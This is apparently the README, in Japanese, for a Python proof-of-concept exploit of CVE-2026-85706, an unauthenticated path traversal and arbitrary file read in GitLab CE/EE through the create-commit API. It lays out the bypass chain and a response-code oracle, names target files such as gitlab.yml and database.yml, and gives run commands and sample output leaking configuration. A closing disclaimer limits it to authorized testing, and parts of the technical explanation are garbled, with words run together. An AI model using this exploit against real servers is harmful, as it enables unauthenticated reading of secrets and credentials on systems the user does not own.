
Python PoCは、create-commitエンドポイントを介したGitLab CE/EEにおける未認証のパストラバーサルおよび任意ファイル読み取りであるCVE-2026-85706を、ファイル読み取りオラクルを用いて悪用するものです。
GitLab CE および EE における未認証のパストラバーサル / 任意ファイル読み取り。 CVSS 10.0。ローカルラボの自己管理型 19.3.1 インスタンスに対して検証済み。
GitLab CE/EE:
前提条件: インスタンスに少なくとも 1 つの公開プロジェクトが存在すること。任意の実在するプロジェクト id で動作する。アカウントやトークンは不要。
create-commit エンドポイント POST /api/v4/projects/:id/repository/commits
は大きなファイルボディを受け付けるため、Workhorse はリクエストボディをディスクにバッファリングし、
Rails が読み戻すための file.path / file.size メタデータを注入する。4 つの
誤りが重なる:
require_gitlab_workhorse! のみをチェックする。実際の
authenticate! は authorize_push_to_branch! の背後にあり、これはファイル読み取りの後に実行される。file_params_from_body_upload は と をリクエストパラメータから
そのまま取得するため、 は指定した任意の絶対
パスをたどる。file.pathfile.sizeFile.read(file_path).../repository/commits\z にマッチする。
末尾にスラッシュを追加するとそのルートにマッチせず、署名付き
リバースプロキシにフォールスルーし、有効な JWT とともに生のボディを転送する。Workhorse
チェックは通過し、Grape がスラッシュを正規化し、偽造されたパラメータが生き残る。Content-Type: application/x-www-form-urlencoded の場合、ファイル内容は
Rack::Utils.parse_nested_query によって解析される。不正な % シーケンスは
ArgumentError: invalid %-encoding (<component>) を発生させ、400 レスポンスはそのコンポーネントを
そのままエコーする。読み取りは git ユーザーとして実行される。内容が返るのはファイルに
不正な % シーケンスが含まれている場合のみである。そうでなければ、クリーンな存在確認および
読み取り可否のオラクルが得られる:
| レスポンス | 意味 |
|---|---|
400 local file not present | ファイルが存在しない |
500 | 存在するが、git が読み取れない |
401 | 存在し読み取り可能、不正な % なし、何もエコーされない |
400 invalid %-encoding (...) | 読み取り可能、コンポーネントがエコーされる |
デフォルトの omnibus インストールで確実にエコーされるファイル: gitlab.yml (ヘッダー
コメントが早い段階で 95% にヒットする)、CI ジョブログとアーティファクト、アップロードされた添付ファイル、
および外部データベースを使用するデプロイメントの database.yml。
python3 exploit.py -t http://target:8080 # reads gitlab.yml
python3 exploit.py -t http://target:8080 -f /etc/passwd
python3 exploit.py -t http://target:8080 -p 3 -o out.txt
依存関係なし、標準ライブラリのみ。
docker 内の gitlab-ce 19.3.1 に対して、認証情報ゼロで:
$ python3 exploit.py -t http://127.0.0.1:8929
[*] HTTP 400 | leaked
[+] leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
=========================
## GitLab settings
gitlab:
## Web server settings (note: host is the FQDN, do not include http://)
host: localhost
port: 8929
https: false
...
------------------------------------------------------------
同じ実行からのオラクルスポットチェック:
/etc/passwd -> 401 (readable, no echo)
/etc/shadow -> 500 (exists, permission denied)
/etc/nonexistent -> 400 local file not present
認可されたセキュリティテストおよび研究のみを目的とする。所有していない、または 明示的なテスト許可を得ていないシステムに対して使用しないこと。